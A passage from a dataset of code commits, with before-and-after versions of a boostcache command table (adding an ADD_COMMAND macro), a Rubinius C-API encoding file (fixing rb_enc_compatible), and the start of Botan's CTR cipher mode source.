expectedArguments);\n    }\n\n    return command->second.callback;\n}\n\nCommands::Commands()\n{\n    addGenericCommands();\n    addDbCommands();\n}\n\nvoid Commands::addGenericCommands()\n{\n    m_commands[\"COMMANDS\"] =       CallbackInfo(std::bind(&Commands::commandsList,\n                                                          this,\n                                                          PlaceHolders::_1),\n                                                0);\n}\n\nvoid Commands::addDbCommands()\n{\n    \/* hashtable *\/\n    m_commands[\"HGET\"] =           CallbackInfo(std::bind(&Db::HashTable::get,\n                                                          &m_dbHashTable,\n                                                          PlaceHolders::_1),\n                                                1);\n    m_commands[\"HSET\"] =           CallbackInfo(std::bind(&Db::HashTable::set,\n                                                          &m_dbHashTable,\n                                                          PlaceHolders::_1),\n                                                2);\n    m_commands[\"HDEL\"] =           CallbackInfo(std::bind(&Db::HashTable::del,\n                                                          &m_dbHashTable,\n                                                          PlaceHolders::_1),\n                                                1);\n    \/* avltree *\/\n    m_commands[\"ATGET\"] =          CallbackInfo(std::bind(&Db::AvlTree::get,\n                                                          &m_dbAvlTree,\n                                                          PlaceHolders::_1),\n                                                1);\n    m_commands[\"ATSET\"] =          CallbackInfo(std::bind(&Db::AvlTree::set,\n                                                          &m_dbAvlTree,\n                                                          PlaceHolders::_1),\n                                                2);\n    m_commands[\"ATDEL\"] =          CallbackInfo(std::bind(&Db::AvlTree::del,\n                                                          &m_dbAvlTree,\n                                                          PlaceHolders::_1),\n                                                1);\n}\n\nstd::string Commands::notImplementedYetCallback(const Command::Arguments& arguments)\n{\n    boost::format format = boost::format(\"%s is not implemented\") % arguments[0];\n    return Command::toErrorReplyString(boost::str(format));\n}\n\nstd::string Commands::malformedArgumentsCallback(const Command::Arguments& arguments,\n                                                 int inputArguments, int expectedArguments)\n{\n    boost::format format = boost::format(\"%s malformed number of arguments (%i vs %i)\")\n                                         % arguments[0]\n                                         % inputArguments\n                                         % expectedArguments;\n    return Command::toErrorReplyString(boost::str(format));\n}\n\nstd::string Commands::commandsList(const Command::Arguments& UNUSED(arguments))\n{\n    std::string asString;\n    for (const HashTablePair &pair : m_commands) {\n        asString += pair.first;\n        asString += \"\\n\";\n    }\n    return Command::toReplyString(asString);\n}<commit_msg>[kernel\/commands] add ADD_COMMAND() macros to avoid long lines.<commit_after>\n\/**\n * This file is part of the boostcache package.\n *\n * (c) Azat Khuzhin <a3at.mail@gmail.com>\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n *\/\n\n#include \"commands.h\"\n#include \"util\/compiler.h\"\n\n#include <boost\/format.hpp>\n\nnamespace PlaceHolders = std::placeholders;\n\n#define ADD_COMMAND(callback, objectPtr, argsNum) \\\n    CallbackInfo(std::bind(callback, objectPtr, PlaceHolders::_1), argsNum);\n\nCommands::Callback Commands::find(const std::string& commandName,\n                                  int numberOfArguments) const\n{\n    HashTable::const_iterator command = m_commands.find(commandName);\n\n    if (command == m_commands.end()) {\n        return std::bind(&Commands::notImplementedYetCallback,\n                         PlaceHolders::_1);\n    }\n\n    const int expectedArguments = command->second.numberOfArguments;\n    if ((expectedArguments >= 0) && (expectedArguments != numberOfArguments)) {\n        return std::bind(malformedArgumentsCallback,\n                         PlaceHolders::_1, numberOfArguments, expectedArguments);\n    }\n\n    return command->second.callback;\n}\n\nCommands::Commands()\n{\n    addGenericCommands();\n    addDbCommands();\n}\n\nvoid Commands::addGenericCommands()\n{\n    m_commands[\"COMMANDS\"] = ADD_COMMAND(&Commands::commandsList, this, 0);\n}\n\nvoid Commands::addDbCommands()\n{\n    \/* hashtable *\/\n    m_commands[\"HGET\"] =   ADD_COMMAND(&Db::HashTable::get, &m_dbHashTable, 1);\n    m_commands[\"HSET\"] =   ADD_COMMAND(&Db::HashTable::set, &m_dbHashTable, 2);\n    m_commands[\"HDEL\"] =   ADD_COMMAND(&Db::HashTable::del, &m_dbHashTable, 1);\n    \/* avltree *\/\n    m_commands[\"ATGET\"] =  ADD_COMMAND(&Db::AvlTree::get, &m_dbAvlTree, 1);\n    m_commands[\"ATSET\"] =  ADD_COMMAND(&Db::AvlTree::set, &m_dbAvlTree, 2);\n    m_commands[\"ATDEL\"] =  ADD_COMMAND(&Db::AvlTree::del, &m_dbAvlTree, 1);\n}\n\nstd::string Commands::notImplementedYetCallback(const Command::Arguments& arguments)\n{\n    boost::format format = boost::format(\"%s is not implemented\") % arguments[0];\n    return Command::toErrorReplyString(boost::str(format));\n}\n\nstd::string Commands::malformedArgumentsCallback(const Command::Arguments& arguments,\n                                                 int inputArguments, int expectedArguments)\n{\n    boost::format format = boost::format(\"%s malformed number of arguments (%i vs %i)\")\n                                         % arguments[0]\n                                         % inputArguments\n                                         % expectedArguments;\n    return Command::toErrorReplyString(boost::str(format));\n}\n\nstd::string Commands::commandsList(const Command::Arguments& UNUSED(arguments))\n{\n    std::string asString;\n    for (const HashTablePair &pair : m_commands) {\n        asString += pair.first;\n        asString += \"\\n\";\n    }\n    return Command::toReplyString(asString);\n}<|endoftext|>"}
{"text":"<commit_before>\/\/ TODO: resolve after importing Oniguruma from MRI\n#include <stddef.h>\n#include \"capi\/19\/include\/ruby\/oniguruma.h\"\n#include \"capi\/19\/include\/ruby\/transcoder.h\"\n#include \"capi\/19\/include\/ruby\/regenc.h\"\n\n#include \"builtin\/array.hpp\"\n#include \"builtin\/encoding.hpp\"\n#include \"builtin\/nativemethod.hpp\"\n#include \"builtin\/regexp.hpp\"\n\n#include \"capi\/capi.hpp\"\n\n#include \"capi\/19\/include\/ruby\/ruby.h\"\n#include \"capi\/19\/include\/ruby\/encoding.h\"\n\nusing namespace rubinius;\nusing namespace rubinius::capi;\n\nextern \"C\" {\n  int rb_enc_coderange_asciionly_p(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* val = env->get_object(obj);\n\n    if(String* str = try_as<String>(val)) {\n      if(CBOOL(str->ascii_only_p(env->state()))) return Qtrue;\n    } else {\n      rb_raise(rb_eArgError, \"ENC_CODERANGE_ASCIIONLY is only defined for String\");\n    }\n\n    return Qfalse;\n  }\n\n  int rb_encdb_alias(const char *alias, const char *orig) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Encoding::alias(env->state(), alias, orig);\n\n    return Encoding::find_index(env->state(), alias);\n  }\n\n  rb_encoding* rb_utf8_encoding() {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return Encoding::utf8_encoding(env->state())->get_encoding();\n  }\n\n  int rb_utf8_encindex(void) {\n    return Encoding::eUtf8;\n  }\n\n  rb_encoding* rb_usascii_encoding() {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return Encoding::usascii_encoding(env->state())->get_encoding();\n  }\n\n  int rb_usascii_encindex(void) {\n    return Encoding::eAscii;\n  }\n\n  rb_encoding* rb_ascii8bit_encoding() {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return Encoding::ascii8bit_encoding(env->state())->get_encoding();\n  }\n\n  int rb_ascii8bit_encindex(void) {\n    return Encoding::eBinary;\n  }\n\n  rb_encoding* rb_locale_encoding(void) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Encoding* enc = Encoding::find(env->state(), \"locale\");\n    if(enc->nil_p()) {\n      return rb_usascii_encoding();\n    } else {\n      return enc->get_encoding();\n    }\n  }\n\n  int rb_locale_encindex(void) {\n    return rb_enc_find_index(rb_locale_encoding()->name);\n  }\n\n  rb_encoding* rb_filesystem_encoding(void) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Encoding* enc = Encoding::find(env->state(), \"filesystem\");\n    if(enc->nil_p()) {\n      return rb_ascii8bit_encoding();\n    } else {\n      return enc->get_encoding();\n    }\n  }\n\n  int rb_filesystem_encindex(void) {\n    return rb_enc_find_index(rb_filesystem_encoding()->name);\n  }\n\n  rb_encoding *rb_default_internal_encoding(void) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Encoding* enc = Encoding::find(env->state(), \"internal\");\n    if(enc->nil_p()) {\n      return 0;\n    } else {\n      return enc->get_encoding();\n    }\n  }\n\n  rb_encoding *rb_default_external_encoding(void) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Encoding* enc = Encoding::find(env->state(), \"external\");\n    if(enc->nil_p()) {\n      return 0;\n    } else {\n      return enc->get_encoding();\n    }\n  }\n\n  rb_encoding* rb_enc_get(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    int index = rb_enc_get_index(obj);\n    if(index < 0) return 0;\n\n    Encoding* enc = try_as<Encoding>(\n        Encoding::encoding_list(env->state())->get(env->state(), index));\n\n    if(!enc) return 0;\n\n    return enc->get_encoding();\n  }\n\n  VALUE rb_obj_encoding(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Object* val = env->get_object(obj);\n    Encoding* enc = Encoding::get_object_encoding(env->state(), val);\n    return env->get_handle(enc);\n  }\n\n  int rb_enc_get_index(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* val = env->get_object(obj);\n    if(!val->reference_p() && !val->symbol_p()) return -1;\n\n    Encoding* enc = Encoding::get_object_encoding(env->state(), val);\n\n    if(enc->nil_p()) return 0;\n\n    return Encoding::find_index(env->state(), enc->get_encoding()->name);\n  }\n\n  void rb_enc_set_index(VALUE obj, int index) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Encoding* enc = Encoding::from_index(env->state(), index);\n    Object* val = env->get_object(obj);\n\n    Encoding::set_object_encoding(env->state(), val, enc);\n  }\n\n  rb_encoding* rb_enc_compatible(VALUE str1, VALUE str2) {\n    \/\/ TODO\n    return rb_enc_get(str1);\n  }\n\n  rb_encoding* rb_to_encoding(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    int index = rb_to_encoding_index(obj);\n    if(index < 0) return 0;\n\n    Encoding* enc = try_as<Encoding>(\n        Encoding::encoding_list(env->state())->get(env->state(), index));\n\n    if(!enc) return 0;\n    return enc->get_encoding();\n  }\n\n  int rb_to_encoding_index(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Encoding* enc = nil<Encoding>();\n\n    switch(TYPE(obj)) {\n    case T_ENCODING:\n      enc = c_as<Encoding>(env->get_object(obj));\n      break;\n    case T_STRING:\n      enc = Encoding::find(env->state(), RSTRING_PTR(obj));\n      break;\n    default:\n      obj = rb_funcall(obj, rb_intern(\"to_str\"), 0);\n      enc = Encoding::find(env->state(), RSTRING_PTR(obj));\n    }\n\n    if(enc->nil_p()) return -1;\n\n    return Encoding::find_index(env->state(), enc->get_encoding()->name);\n  }\n\n  int rb_enc_dummy_p(rb_encoding *enc) {\n    \/\/ TODO\n    return 0;\n  }\n\n  VALUE rb_enc_associate(VALUE obj, rb_encoding *enc) {\n    return rb_enc_associate_index(obj, rb_enc_to_index(enc));\n  }\n\n  VALUE rb_enc_associate_index(VALUE obj, int index) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Encoding* enc = try_as<Encoding>(\n        Encoding::encoding_list(env->state())->get(env->state(), index));\n\n    if(!enc) return obj;\n\n    Object* val = env->get_object(obj);\n\n    if(String* str = try_as<String>(val)) {\n      str->encoding(env->state(), enc);\n    } else if(Regexp* reg = try_as<Regexp>(val)) {\n      reg->encoding(env->state(), enc);\n    } else if(Symbol* sym = try_as<Symbol>(val)) {\n      sym->encoding(env->state(), enc);\n    } else {\n      rb_raise(rb_eArgError, \"object does not have an associated Encoding\");\n    }\n\n    return obj;\n  }\n\n  void rb_enc_copy(VALUE dest, VALUE src) {\n    rb_enc_associate(dest, rb_enc_get(src));\n  }\n\n  int rb_define_dummy_encoding(const char *) {\n    \/\/ TODO\n    return 1;\n  }\n\n  rb_encoding* rb_enc_find(const char* name) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Encoding* enc = Encoding::find(env->state(), name);\n    if(enc->nil_p()) return 0;\n    return enc->get_encoding();\n  }\n\n  int rb_enc_find_index(const char *name) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return Encoding::find_index(env->state(), name);\n  }\n\n  rb_encoding* rb_enc_from_index(int index) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Encoding* enc = Encoding::from_index(env->state(), index);\n    if(enc->nil_p()) return 0;\n    return enc->get_encoding();\n  }\n\n  int rb_enc_to_index(rb_encoding* enc) {\n    if(enc) {\n      return rb_enc_find_index(rb_enc_name(enc));\n    } else {\n      return Encoding::eBinary;\n    }\n  }\n\n  VALUE rb_enc_from_encoding(rb_encoding *enc) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return env->get_handle(Encoding::find(env->state(), enc->name));\n  }\n\n  int rb_enc_mbclen(const char *p, const char *e, rb_encoding *enc) {\n    int n = ONIGENC_PRECISE_MBC_ENC_LEN(enc, (UChar*)p, (UChar*)e);\n    if (ONIGENC_MBCLEN_CHARFOUND_P(n) && ONIGENC_MBCLEN_CHARFOUND_LEN(n) <= e-p)\n      return ONIGENC_MBCLEN_CHARFOUND_LEN(n);\n    else {\n      int min = rb_enc_mbminlen(enc);\n      return min <= e-p ? min : (int)(e-p);\n    }\n  }\n\n  int rb_enc_precise_mbclen(const char* p, const char* e, rb_encoding *enc) {\n    int n;\n    if(e <= p) {\n      return ONIGENC_CONSTRUCT_MBCLEN_NEEDMORE(1);\n    }\n\n    n = ONIGENC_PRECISE_MBC_ENC_LEN(enc, (UChar*)p, (UChar*)e);\n    if(e-p < n) {\n      return ONIGENC_CONSTRUCT_MBCLEN_NEEDMORE(n-(int)(e-p));\n    }\n\n    return n;\n  }\n\n  int rb_enc_codelen(int c, rb_encoding* enc)\n  {\n    int n = ONIGENC_CODE_TO_MBCLEN(enc, c);\n    if (n == 0) {\n      rb_raise(rb_eArgError, \"invalid codepoint 0x%x in %s\", c, rb_enc_name(enc));\n    }\n    return n;\n  }\n\n  char* rb_enc_nth(const char* p, const char* e, long nth, rb_encoding* enc) {\n    if (rb_enc_mbmaxlen(enc) == 1) {\n      p += nth;\n    } else if (rb_enc_mbmaxlen(enc) == rb_enc_mbminlen(enc)) {\n      p += nth * rb_enc_mbmaxlen(enc);\n    } else {\n      p += Encoding::find_character_byte_index((uint8_t*)p, (uint8_t*)e, nth, enc);\n    }\n    if (p > e) p = e;\n    return (char*)p;\n  }\n\n#define ctype_test(c, ctype)  (rb_isascii(c) && ONIGENC_IS_ASCII_CODE_CTYPE((c), ctype))\n\n  int rb_isalnum(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_ALNUM);\n  }\n\n  int rb_isalpha(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_ALPHA);\n  }\n\n  int rb_isblank(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_BLANK);\n  }\n\n  int rb_iscntrl(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_CNTRL);\n  }\n\n  int rb_isdigit(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_DIGIT);\n  }\n\n  int rb_isgraph(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_GRAPH);\n  }\n\n  int rb_islower(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_LOWER);\n  }\n\n  int rb_isprint(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_PRINT);\n  }\n\n  int rb_ispunct(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_PUNCT);\n  }\n\n  int rb_isspace(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_SPACE);\n  }\n\n  int rb_isupper(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_UPPER);\n  }\n\n  int rb_isxdigit(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_XDIGIT);\n  }\n\n  int rb_tolower(int c) {\n    return rb_isascii(c) ? ONIGENC_ASCII_CODE_TO_LOWER_CASE(c) : c;\n  }\n\n  int rb_toupper(int c) {\n    return rb_isascii(c) ? ONIGENC_ASCII_CODE_TO_UPPER_CASE(c) : c;\n  }\n\n  void rb_declare_transcoder(const char* from, const char* to, const char* lib) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Transcoding::declare(env->state(), from, to, lib);\n  }\n\n  void rb_register_transcoder(const rb_transcoder* trans) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Transcoding::define(env->state(), (OnigTranscodingType*)trans);\n  }\n}\n<commit_msg>Fixed rb_enc_compatible.<commit_after>\/\/ TODO: resolve after importing Oniguruma from MRI\n#include <stddef.h>\n#include \"capi\/19\/include\/ruby\/oniguruma.h\"\n#include \"capi\/19\/include\/ruby\/transcoder.h\"\n#include \"capi\/19\/include\/ruby\/regenc.h\"\n\n#include \"builtin\/array.hpp\"\n#include \"builtin\/encoding.hpp\"\n#include \"builtin\/nativemethod.hpp\"\n#include \"builtin\/regexp.hpp\"\n\n#include \"capi\/capi.hpp\"\n\n#include \"capi\/19\/include\/ruby\/ruby.h\"\n#include \"capi\/19\/include\/ruby\/encoding.h\"\n\nusing namespace rubinius;\nusing namespace rubinius::capi;\n\nextern \"C\" {\n  int rb_enc_coderange_asciionly_p(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* val = env->get_object(obj);\n\n    if(String* str = try_as<String>(val)) {\n      if(CBOOL(str->ascii_only_p(env->state()))) return Qtrue;\n    } else {\n      rb_raise(rb_eArgError, \"ENC_CODERANGE_ASCIIONLY is only defined for String\");\n    }\n\n    return Qfalse;\n  }\n\n  int rb_encdb_alias(const char *alias, const char *orig) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Encoding::alias(env->state(), alias, orig);\n\n    return Encoding::find_index(env->state(), alias);\n  }\n\n  rb_encoding* rb_utf8_encoding() {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return Encoding::utf8_encoding(env->state())->get_encoding();\n  }\n\n  int rb_utf8_encindex(void) {\n    return Encoding::eUtf8;\n  }\n\n  rb_encoding* rb_usascii_encoding() {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return Encoding::usascii_encoding(env->state())->get_encoding();\n  }\n\n  int rb_usascii_encindex(void) {\n    return Encoding::eAscii;\n  }\n\n  rb_encoding* rb_ascii8bit_encoding() {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return Encoding::ascii8bit_encoding(env->state())->get_encoding();\n  }\n\n  int rb_ascii8bit_encindex(void) {\n    return Encoding::eBinary;\n  }\n\n  rb_encoding* rb_locale_encoding(void) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Encoding* enc = Encoding::find(env->state(), \"locale\");\n    if(enc->nil_p()) {\n      return rb_usascii_encoding();\n    } else {\n      return enc->get_encoding();\n    }\n  }\n\n  int rb_locale_encindex(void) {\n    return rb_enc_find_index(rb_locale_encoding()->name);\n  }\n\n  rb_encoding* rb_filesystem_encoding(void) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Encoding* enc = Encoding::find(env->state(), \"filesystem\");\n    if(enc->nil_p()) {\n      return rb_ascii8bit_encoding();\n    } else {\n      return enc->get_encoding();\n    }\n  }\n\n  int rb_filesystem_encindex(void) {\n    return rb_enc_find_index(rb_filesystem_encoding()->name);\n  }\n\n  rb_encoding *rb_default_internal_encoding(void) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Encoding* enc = Encoding::find(env->state(), \"internal\");\n    if(enc->nil_p()) {\n      return 0;\n    } else {\n      return enc->get_encoding();\n    }\n  }\n\n  rb_encoding *rb_default_external_encoding(void) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Encoding* enc = Encoding::find(env->state(), \"external\");\n    if(enc->nil_p()) {\n      return 0;\n    } else {\n      return enc->get_encoding();\n    }\n  }\n\n  rb_encoding* rb_enc_get(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    int index = rb_enc_get_index(obj);\n    if(index < 0) return 0;\n\n    Encoding* enc = try_as<Encoding>(\n        Encoding::encoding_list(env->state())->get(env->state(), index));\n\n    if(!enc) return 0;\n\n    return enc->get_encoding();\n  }\n\n  VALUE rb_obj_encoding(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Object* val = env->get_object(obj);\n    Encoding* enc = Encoding::get_object_encoding(env->state(), val);\n    return env->get_handle(enc);\n  }\n\n  int rb_enc_get_index(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Object* val = env->get_object(obj);\n    if(!val->reference_p() && !val->symbol_p()) return -1;\n\n    Encoding* enc = Encoding::get_object_encoding(env->state(), val);\n\n    if(enc->nil_p()) return 0;\n\n    return Encoding::find_index(env->state(), enc->get_encoding()->name);\n  }\n\n  void rb_enc_set_index(VALUE obj, int index) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Encoding* enc = Encoding::from_index(env->state(), index);\n    Object* val = env->get_object(obj);\n\n    Encoding::set_object_encoding(env->state(), val, enc);\n  }\n\n  rb_encoding* rb_enc_compatible(VALUE a, VALUE b) {\n    VALUE result = rb_funcall(rb_cEncoding, rb_intern(\"compatible?\"), 2, a, b);\n\n    if(result == Qnil) {\n      return 0;\n    } else {\n      return rb_to_encoding(result);\n    }\n  }\n\n  rb_encoding* rb_to_encoding(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    int index = rb_to_encoding_index(obj);\n    if(index < 0) return 0;\n\n    Encoding* enc = try_as<Encoding>(\n        Encoding::encoding_list(env->state())->get(env->state(), index));\n\n    if(!enc) return 0;\n    return enc->get_encoding();\n  }\n\n  int rb_to_encoding_index(VALUE obj) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n    Encoding* enc = nil<Encoding>();\n\n    switch(TYPE(obj)) {\n    case T_ENCODING:\n      enc = c_as<Encoding>(env->get_object(obj));\n      break;\n    case T_STRING:\n      enc = Encoding::find(env->state(), RSTRING_PTR(obj));\n      break;\n    default:\n      obj = rb_funcall(obj, rb_intern(\"to_str\"), 0);\n      enc = Encoding::find(env->state(), RSTRING_PTR(obj));\n    }\n\n    if(enc->nil_p()) return -1;\n\n    return Encoding::find_index(env->state(), enc->get_encoding()->name);\n  }\n\n  int rb_enc_dummy_p(rb_encoding *enc) {\n    \/\/ TODO\n    return 0;\n  }\n\n  VALUE rb_enc_associate(VALUE obj, rb_encoding *enc) {\n    return rb_enc_associate_index(obj, rb_enc_to_index(enc));\n  }\n\n  VALUE rb_enc_associate_index(VALUE obj, int index) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Encoding* enc = try_as<Encoding>(\n        Encoding::encoding_list(env->state())->get(env->state(), index));\n\n    if(!enc) return obj;\n\n    Object* val = env->get_object(obj);\n\n    if(String* str = try_as<String>(val)) {\n      str->encoding(env->state(), enc);\n    } else if(Regexp* reg = try_as<Regexp>(val)) {\n      reg->encoding(env->state(), enc);\n    } else if(Symbol* sym = try_as<Symbol>(val)) {\n      sym->encoding(env->state(), enc);\n    } else {\n      rb_raise(rb_eArgError, \"object does not have an associated Encoding\");\n    }\n\n    return obj;\n  }\n\n  void rb_enc_copy(VALUE dest, VALUE src) {\n    rb_enc_associate(dest, rb_enc_get(src));\n  }\n\n  int rb_define_dummy_encoding(const char *) {\n    \/\/ TODO\n    return 1;\n  }\n\n  rb_encoding* rb_enc_find(const char* name) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Encoding* enc = Encoding::find(env->state(), name);\n    if(enc->nil_p()) return 0;\n    return enc->get_encoding();\n  }\n\n  int rb_enc_find_index(const char *name) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return Encoding::find_index(env->state(), name);\n  }\n\n  rb_encoding* rb_enc_from_index(int index) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Encoding* enc = Encoding::from_index(env->state(), index);\n    if(enc->nil_p()) return 0;\n    return enc->get_encoding();\n  }\n\n  int rb_enc_to_index(rb_encoding* enc) {\n    if(enc) {\n      return rb_enc_find_index(rb_enc_name(enc));\n    } else {\n      return Encoding::eBinary;\n    }\n  }\n\n  VALUE rb_enc_from_encoding(rb_encoding *enc) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    return env->get_handle(Encoding::find(env->state(), enc->name));\n  }\n\n  int rb_enc_mbclen(const char *p, const char *e, rb_encoding *enc) {\n    int n = ONIGENC_PRECISE_MBC_ENC_LEN(enc, (UChar*)p, (UChar*)e);\n    if (ONIGENC_MBCLEN_CHARFOUND_P(n) && ONIGENC_MBCLEN_CHARFOUND_LEN(n) <= e-p)\n      return ONIGENC_MBCLEN_CHARFOUND_LEN(n);\n    else {\n      int min = rb_enc_mbminlen(enc);\n      return min <= e-p ? min : (int)(e-p);\n    }\n  }\n\n  int rb_enc_precise_mbclen(const char* p, const char* e, rb_encoding *enc) {\n    int n;\n    if(e <= p) {\n      return ONIGENC_CONSTRUCT_MBCLEN_NEEDMORE(1);\n    }\n\n    n = ONIGENC_PRECISE_MBC_ENC_LEN(enc, (UChar*)p, (UChar*)e);\n    if(e-p < n) {\n      return ONIGENC_CONSTRUCT_MBCLEN_NEEDMORE(n-(int)(e-p));\n    }\n\n    return n;\n  }\n\n  int rb_enc_codelen(int c, rb_encoding* enc)\n  {\n    int n = ONIGENC_CODE_TO_MBCLEN(enc, c);\n    if (n == 0) {\n      rb_raise(rb_eArgError, \"invalid codepoint 0x%x in %s\", c, rb_enc_name(enc));\n    }\n    return n;\n  }\n\n  char* rb_enc_nth(const char* p, const char* e, long nth, rb_encoding* enc) {\n    if (rb_enc_mbmaxlen(enc) == 1) {\n      p += nth;\n    } else if (rb_enc_mbmaxlen(enc) == rb_enc_mbminlen(enc)) {\n      p += nth * rb_enc_mbmaxlen(enc);\n    } else {\n      p += Encoding::find_character_byte_index((uint8_t*)p, (uint8_t*)e, nth, enc);\n    }\n    if (p > e) p = e;\n    return (char*)p;\n  }\n\n#define ctype_test(c, ctype)  (rb_isascii(c) && ONIGENC_IS_ASCII_CODE_CTYPE((c), ctype))\n\n  int rb_isalnum(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_ALNUM);\n  }\n\n  int rb_isalpha(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_ALPHA);\n  }\n\n  int rb_isblank(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_BLANK);\n  }\n\n  int rb_iscntrl(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_CNTRL);\n  }\n\n  int rb_isdigit(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_DIGIT);\n  }\n\n  int rb_isgraph(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_GRAPH);\n  }\n\n  int rb_islower(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_LOWER);\n  }\n\n  int rb_isprint(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_PRINT);\n  }\n\n  int rb_ispunct(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_PUNCT);\n  }\n\n  int rb_isspace(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_SPACE);\n  }\n\n  int rb_isupper(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_UPPER);\n  }\n\n  int rb_isxdigit(int c) {\n    return ctype_test(c, ONIGENC_CTYPE_XDIGIT);\n  }\n\n  int rb_tolower(int c) {\n    return rb_isascii(c) ? ONIGENC_ASCII_CODE_TO_LOWER_CASE(c) : c;\n  }\n\n  int rb_toupper(int c) {\n    return rb_isascii(c) ? ONIGENC_ASCII_CODE_TO_UPPER_CASE(c) : c;\n  }\n\n  void rb_declare_transcoder(const char* from, const char* to, const char* lib) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Transcoding::declare(env->state(), from, to, lib);\n  }\n\n  void rb_register_transcoder(const rb_transcoder* trans) {\n    NativeMethodEnvironment* env = NativeMethodEnvironment::get();\n\n    Transcoding::define(env->state(), (OnigTranscodingType*)trans);\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n* Counter mode\n* (C) 1999-2011,2014 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#include <botan\/ctr.h>\n#include <botan\/exceptn.h>\n#include <botan\/loadstor.h>\n\nnamespace Botan {\n\nCTR_BE::CTR_BE(BlockCipher* ciph) :\n   m_cipher(ciph),\n   m_block_size(m_cipher->block_size()),\n   m_ctr_size(m_block_size),\n   m_ctr_blocks(m_cipher->parallel_bytes() \/ m_block_size),\n   m_counter(m_cipher->parallel_bytes()),\n   m_pad(m_counter.size()),\n   m_pad_pos(0)\n   {\n   }\n\nCTR_BE::CTR_BE(BlockCipher* cipher, size_t ctr_size) :\n   m_cipher(cipher),\n   m_block_size(m_cipher->block_size()),\n   m_ctr_size(ctr_size),\n   m_ctr_blocks(m_cipher->parallel_bytes() \/ m_block_size),\n   m_counter(m_cipher->parallel_bytes()),\n   m_pad(m_counter.size()),\n   m_pad_pos(0)\n   {\n   BOTAN_ARG_CHECK(m_ctr_size >= 4 && m_ctr_size <= m_block_size,\n                   \"Invalid CTR-BE counter size\");\n   }\n\nvoid CTR_BE::clear()\n   {\n   m_cipher->clear();\n   zeroise(m_pad);\n   zeroise(m_counter);\n   zap(m_iv);\n   m_pad_pos = 0;\n   }\n\nsize_t CTR_BE::default_iv_length() const\n   {\n   return m_block_size;\n   }\n\nbool CTR_BE::valid_iv_length(size_t iv_len) const\n   {\n   return (iv_len <= m_block_size);\n   }\n\nKey_Length_Specification 